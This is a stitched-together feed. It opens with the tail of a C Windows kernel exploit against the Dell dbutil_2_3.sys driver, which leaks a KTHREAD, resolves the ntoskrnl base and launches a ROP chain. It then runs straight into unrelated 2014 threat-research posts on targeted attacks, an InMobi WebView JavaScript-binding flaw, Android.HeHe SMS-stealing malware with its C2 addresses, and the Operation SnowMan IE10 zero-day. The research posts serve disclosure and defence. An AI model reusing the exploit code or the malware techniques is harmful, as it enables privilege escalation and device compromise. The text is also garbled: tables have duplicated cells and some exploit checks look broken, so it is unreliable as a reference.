	printf("[+] System process HANDLE: 0x%p\n", systemprocHandle);

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)1;
}

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

	//
	// Invoke leakStack()
	//
	ULONG64 kthread = leakKTHREAD(getthreadHandle);

	//
	// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)
	//
	if ((!kthread & 0x80000000) == 0x80000000)
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Error handling (kthread isn't negative - but is it a kernel-mode address?)
	//
	else if ((!kthread & 0xffff00000000000) == 0xffff00000000000 || ((!kthread & 0xfffff00000000000) == 0xfffff00000000000))
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] \"Dummy thread\" KTHREAD object: 0x%llx\n", kthread);

	//
	// Invoke resolventBase() to retrieve the load address of ntoskrnl.exe
	//
	ULONG64 ntBase = resolventBase();

	//
	// Error handling
	//
	if (ntBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Invoke constructROPChain() to build our ROP chain and kick off execution
	//
	BOOL createROP = constructROPChain(driverHandle, getthreadHandle, kthread, ntBase);

	//
	// Error handling
	//
	if (!createROP)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to construct the ROP chain. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

Peace, love, and positivity :-).

Trends in Targeted Attacks: 2013

13 January 2014 at 10:00

FireEye has been busy over the last year. We have tracked malware-based espionage campaigns and published research papers on numerous advanced threat actors. We chopped through Poison Ivy, documented a cyber arms dealer, and revealed that Operation Ke3chang had targeted Ministries of Foreign Affairs in Europe.

Worldwide, security experts made many breakthroughs in cyber defense research in 2013. I believe the two biggest stories were Mandiant’s APT1 report and the ongoing Edward Snowden revelations, including the revelation that the U.S. National Security Agency (NSA) compromised 50,000 computers around the world as part of a global espionage campaign.

In this post, I would like to highlight some of the outstanding research from 2013.

Trends in Targeting

Targeted malware attack reports tend to focus on intellectual property theft within specific industry verticals. But this year, there were many attacks that appeared to be related to nation-state disputes, including diplomatic espionage and military conflicts.

Conflict

Where kinetic conflict and nation-state disputes arise, malware is sure to be found. Here are some of the more interesting cases documented this year:

  • Middle East: continued attacks targeting the Syrian opposition; further activity by Operation Molerats related to Israel and Palestinian territories.
  • India and Pakistan: tenuous relations in physical world equate to tenuous relations in cyberspace. Exemplifying this trend was the Indian malware group Hangover, the ByeBye attacks against Pakistan, and Pakistan-based attacks against India.
  • Korean peninsula: perhaps foreshadowing future conflict, North Korea was likely behind the Operation Troy (also known as DarkSeoul) attacks on South Korea that included defacements, distributed denial-of-service (DDoS) attacks, and malware that wiped hard disks. Another campaign, Kimsuky, may also have a North Korean connection.
  • China: this was the source of numerous attacks, including the ongoing Surtr campaign, against the Tibetan and Uygur communities, which targeted MacOS and Android.

Diplomacy

Malware continues to play a key role in espionage in the Internet era. Here are some examples that stood out this year:

  • The Snowden documents revealed that NSA and GCHQ deployed key logging malware during the G20 meeting in 2009.
  • In fact, G20 meetings have long been targets for foreign intelligence services, including this year’s G20 meeting in Russia.
  • The Asia-Pacific Economic Cooperation (APEC) and The Association of Southeast Asian Nations (ASEAN) are also frequent targets.
  • FireEye announced that Operation Ke3chang compromised at least five Ministries of Foreign Affairs in Europe.
  • Red October, EvilGrab, and Nettraveler (aka RedStar) targeted both diplomatic missions and commercial industries.

Technical Trends

Estimations of “sophistication” often dominate the coverage of targeted malware attacks. But what I find interesting is that simple changes made to existing malware are often more than enough to evade detection. Even more surprising is that technically “unsophisticated” malware is often found in the payload of “sophisticated” zero-day exploits. And this year quite a number of zero-days were used in targeted attacks.

Exploits

Quite a few zero-day exploits appeared in the wild this year, including eleven discovered by FireEye. These exploits included techniques to bypass ASLR and application sandboxes. The exploits that I consider the most significant are the following:

Evasion

The malware samples used by several advanced persistent threat (APT) actors were slightly modified this year, possibly as an evasive response to increased scrutiny, in order to avoid detection. For example, there were changes to Aumlib and Ixeshe, which are malware families associated with APT12, the group behind attacks on the New York Times. When APT1 (aka Comment Crew) returned after their activities were exposed, they also used modified malware. In addition, Terminator (aka FakeM), and Sykipot were modified.

Threat Actors

Attribution is a tough problem, and the term itself has multiple meanings. Some use it to refer to an ultimate benefactor, such as a nation-state. Others use the term to refer to malware authors, or command-and-control (CnC) operators. This year, I was fascinated by published research about exploit and malware dealers and targeted attack contractors (also known as cyber “hitmen”), because it further complicates the traditional “state-sponsored” analysis that we’ve become accustomed to.

  • Dealers — The malware and exploits used in targeted attacks are not always exclusively available to one threat actor. Some are supplied by commercial entities such as FinFisher, which has been reportedly used against activists around the world, and HackingTeam, which sells spyware to governments and law enforcement agencies. FireEye discovered a likely cyber arms dealer that is connected to no fewer than 11 APT campaigns – however, the relationship between the supplier and those who use the malware remains unclear. Another similar cluster, known as the Maudi Operation, was also documented this year.
  • Hitmen — Although this analysis is still highly speculative, some threat actors, such as Hidden Lynx, may be “hackers for hire”, tasked with breaking into targets and acquiring specific information. Others, such as IceFog, engage in “hit and run” attacks, including the propagation of malware in a seemingly random fashion. Another group, known as Winnti, tries to profit by targeting gaming companies with malware (PlugX) that is normally associated with APT activity. In one of the weirdest cases I have seen, malware known as “MiniDuke”, which is reminiscent of some “old school” malware developed by 29A, was used in multiple attacks around the world.

My colleagues at FireEye have put forward some interesting stealthy techniques in the near future. In any case, 2014 will no doubt be another busy year for those of us who research targeted malware attacks.

JS-Binding-Over-HTTP Vulnerability and JavaScript Sidedoor: Security Risks Affecting Billions of Android App Downloads

17 January 2014 at 00:45

Third-party libraries, especially ad libraries, are widely used in Android apps. Unfortunately, many of them have security and privacy issues. In this blog, we summarize our findings related to the insecure usage of JavaScript binding in ad libraries.

First, we describe a widespread security issue with using JavaScript binding (addJavascriptInterface) and loading WebView content over HTTP, which allows a network attacker to take control of the application by hijacking the HTTP traffic. We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability. Our analysis shows that, currently, at least 47 percent of the top 40 ad libraries have this vulnerability in at least one of their versions that are in active use by popular apps on Google Play.

Second, we describe a new security issue with the JavaScript binding annotation, which we call JavaScript Sidedoor. Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public methods in Java objects are accessible from JavaScript. If an ad library uses @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then an attacker over the network could inject malicious content into the WebView to misuse the exposed interfaces through the JS binding annotation. We call these exposed JS binding annotation interfaces JS sidedoors.

Our analysis shows that these security issues are widespread, have affected popular apps on Google Play accounting for literally billions of app downloads. The parties we notified about these issues have been actively addressing them.

Security Issues with JavaScript Binding over HTTP

Android uses the JavaScript binding method addJavascriptInterface to enable JavaScript code running inside a WebView to access the app’s Java methods. However, it is widely known that this feature, if not used carefully, presents a potential security risk when running on Android 4.1 or below. As noted by Google: “Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application.” [1]

In particular, if an app running on Android 4.1 or below uses the JavaScript binding method addJavascriptInterface and loads the content in the WebView over HTTP, then an attacker over the network could hijack the HTTP traffic, e.g., through WiFi or DNS hijacking, to inject malicious content into the WebView – and thus take control over the host application. We call this the JavaScript-Binding-Over-HTTP (JS-Binding-Over-HTTP) vulnerability. If an app containing such vulnerability has sensitive Android permissions such as access to the camera, then a remote attacker could exploit this vulnerability to perform sensitive tasks such as taking photos or record video in this case, over the Internet, without a user’s consent.

We have analyzed the top 40 third-party ad libraries (not including Google Ads) used by Android apps. Among the apps with over 100,000 downloads each on Google Play, over 42 percent of the free apps currently contain at least one of these top ad libraries. The total download count of such apps now exceeds 12.4 billion. From our analysis, at least 47 percent of these top 40 ad libraries have at least one version of their code in active use by popular apps on Google Play, and contain the JS-Binding-Over-HTTP vulnerability. As an example, InMobi versions 2.5.0 and above use the JavaScript binding method addJavascriptInterface and load content in the WebView using HTTP.

Security Issues with JavaScript Binding Annotation

Starting with Android 4.2, Google introduced the @JavascriptInterface annotation to explicitly designate and limit which public Java methods in the app are accessible from JavaScript running inside a WebView. However, note that the @JavascriptInterface annotation does not provide any protection for devices using Android 4.1 or below, which is still running on more than 80 percent of Android devices worldwide.

We discovered a new class of security issues, which we call JavaScript Sidedoor (JS sidedoor), in ad libraries. If an ad library uses the @JavascriptInterface annotation to expose security-sensitive interfaces, and uses HTTP to load content in the WebView, then it is vulnerable to attacks where an attacker over the network (e.g., via WIFI or DNS hijacking) could inject malicious content into the WebView to misuse the interfaces exposed through the JS binding annotation. We call these exposed JS binding annotation interfaces JS sidedoors.

For example, starting with version 3.6.2, InMobi added the @JavascriptInterface JS binding annotation. The list of exposed methods through the JS binding annotation in InMobi includes:

  • createCalendarEvent (version 3.7.0 and above)
  • makeCall (version 3.6.2 and above)
  • postToSocial (version 3.7.0 and above)
  • sendMail (version 3.6.2 and above)
  • sendSMS (version 3.6.2 and above)
  • takeCameraPicture (version 3.7.0 and above)
  • getGalleryImage (version 3.7.0 and above)
  • registerMicListener (version 3.7.0 and above)

InMobi also provides JavaScript wrappers to these methods in the JavaScript code served from their ad servers, as shown in Appendix A.

InMobi also loads content in the WebView using HTTP. If an app has the Android permission CALL_PHONE, and is using InMobi versions 3.6.2 to 4.0.2, an attacker over the network (for example, using Wi-Fi or DNS hijacking) could abuse the makeCall annotation in the app to make phone calls on the device without a user’s consent – including to premium numbers.

In addition, without requiring special Android permissions in the host app, attackers over the network, via HTTP or DNS hijacking, could also misuse the aforementioned exposed methods to misguide the user to post to the user’s social network from the device (postToSocial in version 3.7.0 and above), send email to any designated recipient with a pre-crafted title and email body (sendMail in version 3.6.2 and above), send SMS to premium numbers (sendSMS in version 3.6.2 and above), create calendar events on the device (createCalendarEvent in version 3.7.0 and above), and to take pictures and access the photo gallery on the device (takeCameraPicture and getGalleryImage in version 3.7.0 and above). To complete these actions, the user would need to click on certain consent buttons. However, as generally known, users are quite vulnerable to social engineering attacks through which attackers could trick users to give consent.

We have identified more than 3,000 apps on Google Play that contain versions 2.5.0 to 4.0.2 of InMobi – and which have over 100,000 downloads each as of December, 2013. Currently, the total download count for these affected apps is greater than 3.7 billion.

We have informed both Google and InMobi of our findings, and they have been actively working to address them.

New InMobi Update after FireEye Notification

After we notified the InMobi vendor about these security issues, they promptly released new SDK versions 4.0.3 and 4.0.4. The 4.0.3 SDK, marked as “Internal release”, was superseded by 4.0.4 after one day. The 4.0.4 SDK made the following changes:

  1. Changed its method exposed through annotation for making phone calls (makeCall) to require user’s consent.
  2. Added a new storePicture interface to download and save specified files from the Internet to the user’s Downloads folder. Despite the name, it can be used for any file, not just images.

Compared with InMobi’s earlier versions, we consider change No. 1 as an improvement that addresses the aforementioned issue of an attacker making phone calls without a user’s consent. We are glad to see that InMobi made this change after our notification.

InMobi recently released a new SDK version 4.1.0. Compared with SDK version 4.0.4, we haven't seen any changes to JS Binding usage from a security perspective in this new SDK version 4.1.0.

Moving Forward: Improving Security for JS Binding in Third-party Libraries

In summary, the insecure usage of JS Binding and JS Binding annotations in third-party libraries exposes many apps that contain these libraries to security risks.

App developers and third-party library vendors often focus on new features and rich functionalities. However, this needs to be balanced with a consideration for security and privacy risks. We propose the following to the mobile application development and library vendor community:

  1. Third-party library vendors need to explicitly disclose security-sensitive features in their privacy policies and/or their app developer SDK guides.
  2. Third-party library vendors need to educate the app developers with information, knowledge, and best practices regarding security and privacy when leveraging their SDK.
  3. App developers need to use caution when leveraging third-party libraries, apply best practices on security and privacy, and in particular, avoid misusing vulnerable APIs or packages.
  4. When third-party libraries use JS Binding, we recommend using HTTPS for loading content.

Since customers may have different requirements regarding security and privacy, apps with JS-Binding-Over-HTTP vulnerabilities and JS sidedoors can introduce risks to security-sensitive environments such as enterprise networks. FireEye Mobile Threat Prevention provides protection to our customers from these kinds of security threats.

Acknowledgement

We thank our team members Adrian Mettler and Zheng Bu for their help in writing this blog.

Appendix A: JavaScript Code Snippets Served from InMobi Ad Servers

a.takeCameraPicture = function () {

utilityController.takeCameraPicture()

};

a.getGalleryImage = function () {

utilityController.getGalleryImage()

};

a.makeCall = function (f) {

try {

utilityController.makeCall(f)

} catch (d) {

a.showAlert("makeCall: " + d)

}

};

a.sendMail = function (f, d, b) {

try {

utilityController.sendMail(f, d, b)

} catch (c) {

a.showAlert("sendMail: " + c)

}

};

a.sendSMS = function (f, d) {

try {

utilityController.sendSMS(f, d)

} catch (b) {

a.showAlert("sendSMS: " + b)

}

};

a.postToSocial = function (a, c, b, e) {

a = parseInt(a);

isNaN(a) && window.mraid.broadcastEvent("error", "socialType must be an integer", "postToSocial");

"string" != typeof c && (c = "");

"string" != typeof b && (b = "");

"string" != typeof e && (e = "");

utilityController.postToSocial(a, c, b, e)

};

a.createCalendarEvent = function (a) {

"object" != typeof a && window.mraid.broadcastEvent("error",

"createCalendarEvent method expects parameter", "createCalendarEvent");

"string" != typeof a.start || "string" != typeof a.end ?

window.mraid.broadcastEvent("error",

"createCalendarEvent method expects string parameters for start and end dates",

"createCalendarEvent") :

("string" != typeof a.location && (a.location = ""),

"string" != typeof a.description && (a.description = ""),

utilityController.createCalendarEvent(a.start, a.end, a.location, a.description))

};

a.registerMicListener=function() {

utilityController.registerMicListener()

};

Android.HeHe: Malware Now Disconnects Phone Calls

21 January 2014 at 10:00

FireEye Labs has recently discovered six variants of a new Android threat that steals text messages and intercepts phone calls. We named this sample set “Android.HeHe” after the name of the activity that is used consistently across all samples.

Here is a list of known bot variants:

MD5 VirusTotal Detection Ratio
1caa31272daabb43180e079bca5e23c1 1caa31272daabb43180e079bca5e23c1 2/48 2/48
8265041aca378d37006799975fa471d9 8265041aca378d37006799975fa471d9 1/47 1/47
2af4de1df7587fa0035dcefededaedae 2af4de1df7587fa0035dcefededaedae 2/45 2/45
2b41fbfb5087f521be193d8c1f5efb4c 2b41fbfb5087f521be193d8c1f5efb4c 2/46 2/46
aa0ed04426562df25916ff70258daf6c aa0ed04426562df25916ff70258daf6c 1/46 1/46
9507f93d9a64d718682c0871bf354e6f 9507f93d9a64d718682c0871bf354e6f 1/47 1/47

Summary

The app disguises itself as “android security” (Figure 1), attempting to provide the users what is advertised as an OS Update. It contacts the command-and-control (CnC) server to register itself then goes on to monitor incoming SMS messages. The CnC is expected to respond with a list of phone numbers that are of interest to the malware author. If one of these numbers sends an SMS or makes a call to an infected device, the malware intercepts the message or call, suppresses device notifications from the device, and removes any trace of the message or call from device logs. Any SMS messages from one of these numbers are logged into an internal database and sent to the CnC server. Any phone calls from these numbers are silenced and rejected.

[caption id="attachment_4369" align="aligncenter" width="302"]App installs itself Figure 1[/caption]

Analysis

This app starts the main HeHe activity at startup. The constructor of the HeHeActivity registers a handler using the android.os.Handle, which acts as a thread waiting for an object of type android.os.Message to perform different actions, which are outlined below.

Because the HeHeActivity implements the standard DailogInterfaceOnClickListener, the start of the app causes the showAlterDailog message to be displayed (Figure 2).

[caption id="attachment_4373" align="aligncenter" width="404"]Fake OS Update in progress Figure 2: The above messages make the user believe that an OS update check is under progress[/caption]

The app then sends an intent to start three services in the background. These services are explained below.

Sandbox-evasion tactic

This app checks for the presence of an emulator by calling the isEmulator function, which does the following:

  1. It checks the value of the MODEL of the device (emulators with the Google ADT bundle have the string “sdk” as a part of the MODEL variable).
  2. It also checks to see if the IMSI code is “null” — emulators do not have an IMSI code associated with them.

Here is the isEmulator code:

String v0 = TelephonyUtils.getImsi(((Context)this));
if(v0 == null) {
return;
}
public static boolean isEmulator() {
boolean v0;
if((Build.MODEL.equalsIgnoreCase("sdk")) || (Build.MODEL.equalsIgnoreCase("google_sdk"))) {
v0 = true;
}
else {
v0 = false;
}
return v0;
}

The code checks whether the the app is being run in the Android QEMU emulator. It also checks whether the value of IMSI is equal to null

RegisterService

This service runs in the background. Once started the app calls the setComponentEnabledSetting method as follows:

this.getPackageManager().setComponentEnabledSetting(new ComponentName(((Context)this), HeheActivity.class), 2, 1);

This removes the app from the main menu of the phone leading the user to believe that the app is no longer installed on the phone. It then goes on to check the network status of the phone as shown below

public void checkNetwork() { 
if(!this.isNetworkAvailable()) {
this.setMobileDataEnabled();
}
}

After the service has been created. The onStart method is called, which checks the message provided as a part of the intent. The message types are START and LOGIN

START

If the message in the intent is START, The app calls the sendReigsterRequest() function. The sendRegisterRequest function first checks for the presence of an emulator as explained in the "Sandbox-evasion tactic" section

It then collects the IMSI IMEI, phone number, SMS address and channel ID. It packs all this information into a JSON object. Once the JSON object is created. It is converted to a string, which is sent to the CnC server. The CnC communication is explained below.

LOGIN

If the message in the intent is LOGIN, the app calls the sendLoginRequest method, which in turn collects the following:

  • Version number of the app (hard-coded as "1.0.0")
  • The model of the phone
  • The version of the operating system
  • The type of network associated with the device (GSM/CDMA)

This information is also packed into a JSON object, converted into a string, and sent to the CnC server.

RegisterBroadcastReceiver service

This service is invoked at the start of the app as the RegisterService. It in turn registers the IncomeCallAndSmsReceiver(), which is set to respond to these three intents:

  • android.provider.Telephony.SMS_RECEIVED, which notifies once a SMS has been received on the device
  • android.intent.action.PHONE_STATE, which notifies once the cellular state of the device has changed. Examples include RINGING and OFF_HOOK.
  • android.intent.action.SCREEN_ON, which notifies once the screen has been turned on or turned off.

Additionally, it also sets observers over Android content URIs as follows:

  • The SmsObserver is set to observe the content://sms, which enables it to access all SMS messages that are present on the device.
  • The CallObserver is set to observe the content://call_log/calls, which allows it to access the call log of all incoming, outgoing and missed calls on the device.

 ConnectionService

The main HeHe activity mentioned at the start issues the ACTION_START intent to the ConnectionService class as follows:

Intent v2 = new Intent(((Context)this), ConnectionService.class);

v2.setAction(ConnectionService.ACTION_START);

v2.setFlags(268435456); this.startService(v2); LogUtils.debug("heheActivity", "start connectionService service"); The app then starts a timer task that is scheduled to be invoked every 5000 seconds. This timed task does the following:
  • Creates an object instance of the android.os.Message class
  • Sets the value of "what" in the Message object to 1
  • The handler of this message that was initiated in the constructor then gets called which, in turn calls the showFinishBar function that displays the message “현재 OS에서 최신 소프트웨어버전을 사용하고있습니다,” which translates to “The current OS you are using the latest version of the software.”

Receivers

IncomeCallAndSmsReceiver

The RegisterBroadcastReceiver registers this receiver once the app gets started. When an SMS is received on the device. The IncomeCallAndSmsReceiver gets the intent. Because this receiver listens for one of three intents, any intents received by this receiver are checked for their type.

If the received intent is of type android.provider.telephony.SMS_RECEIVED, the app extracts the contents of the SMS and the phone number of the sender. If the first three characters of the phone number matches the first three characters from phone numbers in a table named tbl_intercept_info, then the SMS intent is aborted and the SMS is deleted from the devices SMS inbox so that the user never sees it. After the SMS notification is suppressed, the app bundles the SMS as follows:

{
"content":"TESTING", 
"createTime":"2014-01-10 16:21:36",
"id":null,"messageFrom":"1234567890",
"token":null
}

From there, it sends the to the CnC server (http://108.62.240.69:9008/reportMessage)

It also records the SMS in the tbl_message_info table in its internal database.

If the received intent is of type android.intent.action.PHONE_STATE, the app checks the tbl_intercept_info table in the local database. If the number of the caller appears in this table, then the ringer mode of the phone is set to silent to suppress the notification of the incoming call and the phone call is disconnected. Its corresponding entry from the call logs is also removed, removing all traces of the phone call from the device.

No actions have been defined for the android.app.action.SCREEN_ON intent, even though the IncomeCallAndSmsReceiver receiver is the recipient.

CnC

This app uses two hard-coded IP address to locate its CnC servers: 122.10.92.117 and 58.64.183.12. The app performs all communications through HTTP POST requests. The contents of the HTTP POST are encrypted using AES with a 128-bit key that is hardcoded into the app. The app sends its lastVersion value —to 122.10.92.117, to address is where is used to check for , in which the app sends its version of the app. The address 58.64.183.12 is used to report incoming SMS messages

Because the IP address is no longer reachable, responses from the server could not be analyzed. What is clear is that the server sends a JSON object in response, which contains a "token" field.

Although the CnC server is currently unavailable, we can infer how the app works by examining the how it processes the received responses.

The app consists of different data structures that are converted into their equivalent JSON representations when they are sent to the CnC. Also, All JSON object responses are converted into their equivalent internal data structures. We have also observed the mechanism used to populate the internal database which includes tables (tbl_intercept_info) which contain the phone numbers to be blocked.

The app uses hxxp://122.10.92.117:9008 and hxxp://58.64.183.12:9008 to send information to the CnC server.

The mapping of URLs to their internal class data structures is as follows:

GetLastVersionRequest /getLastVersion
RegisterRequest /register
LoginRequest /login
ReportRequest /report
GetTaskRequest /getTask
ReportMessage Request /reportMessage

The meaning and structures of these are explained in the following sections.

GetLastVersionRequest

This request is sent when the app is first installed on the device. The bot sends the version code of the device (currently set to 1.0.0) to the CnC. The CnC response shall contain the URL to an update if available. The availability of an update is signified through an ‘update’ field in the response

[caption id="attachment_4377" align="alignnone" width="816"]Request to CnC to check for version Request to CnC to check for version[/caption]

RegisterRequest

This request is sent when the app sends an intent with a “LOGIN” option to the RegisterService as explained  above. The request contains the IMSI, IMEI, Phone number, SMS address (Phone number), Channel ID, a token and the IP address being used by the app as its CnC. This causes the infected device to be registered with the CnC.

LoginRequest

This request is sent to further authenticate the device to the CnC, It contains the token previously received, the version of the Bot, the model of the phone, the version of the OS, the type of network and the other active network parameters such as signal strength. In response, It only gets a result value.

ReportRequest

The report request sends the information present in tbl_report_info to the CnC. This table contains information about other requests that were sent but failed.

GetTaskRequest

This requests asks for tasks from the CnC server. The response contains a retry interval and a sendSmsActionNotify value. It is sent when the response to the LoginRequest is 401 instead of 200.

ReportMessageRequest

This request to the CnC sends the contents of the SMS messages that are received on the device. It consists of the contents of the SMS message, the time of the message and the sender of the SMS. This has been observed in the logcat output as follows:

logging-mini

Conclusion

Android malware variants are mushrooming. Threats such as Android.HeHe and Android.MisoSMS reveal attackers' growing interest in monitoring SMS messages and phone call logs. They also serve as a stark reminder of just how dangerous apps from non-trusted marketplaces can be.

Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website

13 February 2014 at 23:06

On February 11, FireEye identified a zero-day exploit (CVE-2014-0322)  being served up from the U.S. Veterans of Foreign Wars’ website (vfw[.]org). We believe the attack is a strategic Web compromise targeting American military personnel amid a paralyzing snowstorm at the U.S. Capitol in the days leading up to the Presidents Day holiday weekend. Based on infrastructure overlaps and tradecraft similarities, we believe the actors behind this campaign are associated with two previously identified campaigns (Operation DeputyDog and Operation Ephemeral Hydra).

This blog post examines the vulnerability and associated attacks, which we have dubbed “Operation SnowMan."

Exploit/Delivery analysis

After compromising the VFW website, the attackers added an iframe into the beginning of the website’s HTML code that loads the attacker’s page in the background. The attacker’s HTML/JavaScript page runs a Flash object, which orchestrates the remainder of the exploit. The exploit includes calling back to the IE 10 vulnerability trigger, which is embedded in the JavaScript.  Specifically, visitors to the VFW website were silently redirected through an iframe to the exploit at www.[REDACTED].com/Data/img/img.html.

Mitigation

The exploit targets IE 10 with Adobe Flash. It aborts exploitation if the user is browsing with a different version of IE or has installed Microsoft’s Experience Mitigation Toolkit (EMET). So installing EMET or updating to IE 11 prevents this exploit from functioning.

Vulnerability analysis

The vulnerability is a previously unknown use-after-free bug in Microsoft Internet Explorer 10. The vulnerability allows the attacker to modify one byte of memory at an arbitrary address. The attacker uses the vulnerability to do the following:

  • Gain access to memory from Flash ActionScript, bypassing address space layout randomization (ASLR)
  • Pivot to a return-oriented programing (ROP) exploit technique to bypass data execution prevention (DEP)

EMET detection

The attacker uses the Microsoft.XMLDOM ActiveX control to load a one-line XML string containing a file path to the EMET DLL. Then the exploit code parses the error resulting from the XML load order to determine whether the load failed because the EMET DLL is not present.  The exploit proceeds only if this check determines that the EMET DLL is not present.

ASLR bypass

Because the vulnerability allows attackers to modify memory to an arbitrary address, the attacker can use it to bypass ASLR. For example, the attacker corrupts a Flash Vector object and then accesses the corrupted object from within Flash to access memory. We have discussed this technique and other ASLR bypass approaches in our blog. One minor difference between the previous approaches and this attack is the heap spray address, which was changed to 0x1a1b2000 in this exploit.

Code execution

Once the attacker’s code has full memory access through the corrupted Flash Vector object, the code searches through loaded libraries gadgets by machine code. The attacker then overwrites the vftable pointer of a flash.Media.Sound() object in memory to point to the pivot and begin ROP. After successful exploitation, the code repairs the corrupted Flash Vector and flash.Media.Sound to continue execution.

Shellcode analysis

Subsequently, the malicious Flash code downloads a file containing the dropped malware payload. The beginning of the file is a JPG image; the end of the file (offset 36321) is the payload, encoded with an XOR key of 0x95. The attacker appends the payload to the shellcode before pivoting to code control. Then, when the shellcode is executed, the malware creates files “sqlrenew.txt” and “stream.exe”. The tail of the image file is decoded, and written to these files. “sqlrenew.txt” is then executed with the LoadLibraryA Windows API call.

ZxShell payload analysis

As documented above, this exploit dropped an XOR (0x95) payload that executed a ZxShell backdoor (MD5: 8455bbb9a210ce603a1b646b0d951bce). The compile date of the payload was 2014-02-11, and the last modified date of the exploit code was also 2014-02-11. This suggests that this instantiation of the exploit was very recent and was deployed for this specific strategic Web compromise of the Veterans of Foreign Wars website. A possible objective in the SnowMan attack is targeting military service members to steal military intelligence. In addition to retirees, active military personnel use the VFW website. It is probably no coincidence that Monday, Feb. 17, is a U.S. holiday, and much of the U.S. Capitol shut down Thursday amid a severe winter storm.

The ZxShell backdoor is a widely used and publicly available tool used by multiple threat actors linked to cyber espionage operations. This particular variant called back to a command and control server located at newss[.]effers[.]com. This domain currently resolves to 118.99.60.142. The domain info[.]flnet[.]org also resolved to this IP address on 2014-02-12.

Infrastructure analysis

The info[.]flnet[.]org domain overlaps with icybin[.]flnet[.]org and book[.]flnet[.]org via the previous resolutions to the following IP addresses:

  • 58.64.200.178
  • 58.64.200.179
  • 103.20.192.4
First Seen Last Seen CnC Domain IP
2013-08-31 2013-08-31 2013-08-31 2013-08-31 icybin.flnet[.]org icybin.flnet[.]org 58.64.200.178 58.64.200.178
2013-05-02 2013-05-02 2013-08-02 2013-08-02 info.flnet[.]org info.flnet[.]org 58.64.200.178 58.64.200.178
2013-08-02 2013-08-02 2013-08-02 2013-08-02 book.flnet[.]org book.flnet[.]org 58.64.200.178 58.64.200.178
2013-08-10 2013-08-10 2013-08-10 2013-08-10 info.flnet[.]org info.flnet[.]org 58.64.200.179 58.64.200.179
2013-07-15 2013-07-15 2013-07-15 2013-07-15 icybin.flnet[.]org icybin.flnet[.]org 58.64.200.179 58.64.200.179
2014-01-02 2014-01-02 2014-01-02 2014-01-02 book.flnet[.]org book.flnet[.]org 103.20.192.4 103.20.192.4
2013-12-03 2013-12-03 2014-01-02 2014-01-02 info.flnet[.]org info.flnet[.]org 103.20.192.4 103.20.192.4

We previously observed Gh0stRat samples with the custom packet flag “HTTPS” calling back to book[.]flnet[.]org and icybin[.]flnet[.]org. The threat actor responsible for Operation DeputyDog also used the “HTTPS” version of the Gh0st. We also observed another “HTTPS” Gh0st variant connecting to a related command and control server at me[.]scieron[.]com.

MD5 Hash CnC Domain
758886e58f9ea2ff22b57cbbb015166e 758886e58f9ea2ff22b57cbbb015166e book.flnet[.]org book.flnet[.]org
0294f9280491f85d898ebe471f0fb58e 0294f9280491f85d898ebe471f0fb58e icybin.flnet[.]org icybin.flnet[.]org
9d20566a327076b7152bbf9ed20292c4 9d20566a327076b7152bbf9ed20292c4 me.scieron[.]com me.scieron[.]com

The me[.]scieron[.]com domain previously resolved to 58.64.199.22. The book[.]flnet[.]org domain also resolved to another IP in the same subnet 58.64.199.0/24. Specifically, book[.]flnet[.]org previously resolved to 58.64.199.27.

Others domain seen resolving to this same /24 subnet were dll[.]freshdns[.]org, ali[.]blankchair[.]com, and cht[.]blankchair[.]com. The domain dll[.]freshdns[.]org resolved to 58.64.199.25. Both ali[.]blankchair[.]com and cht[.]blankchair[.]com resolved to 58.64.199.22.

First Seen Last Seen CnC Domain IP
2012-11-12 2012-11-12 2012-11-28 2012-11-28 me.scieron[.]com me.scieron[.]com 58.64.199.22 58.64.199.22
2012-04-09 2012-04-09 2012-10-24 2012-10-24 cht.blankchair[.]com cht.blankchair[.]com 58.64.199.22 58.64.199.22
2012-04-09 2012-04-09 2012-09-18 2012-09-18 ali.blankchair[.]com ali.blankchair[.]com 58.64.199.22 58.64.199.22
2012-11-08 2012-11-08 2012-11-25 2012-11-25 dll.freshdns[.]org dll.freshdns[.]org 58.64.199.25 58.64.199.25
2012-11-23 2012-11-23 2012-11-27 2012-11-27 rt.blankchair[.]com rt.blankchair[.]com 58.64.199.25 58.64.199.25
2012-05-29 2012-05-29 2012-6-28 2012-6-28 book.flnet[.]org book.flnet[.]org 58.64.199.27 58.64.199.27

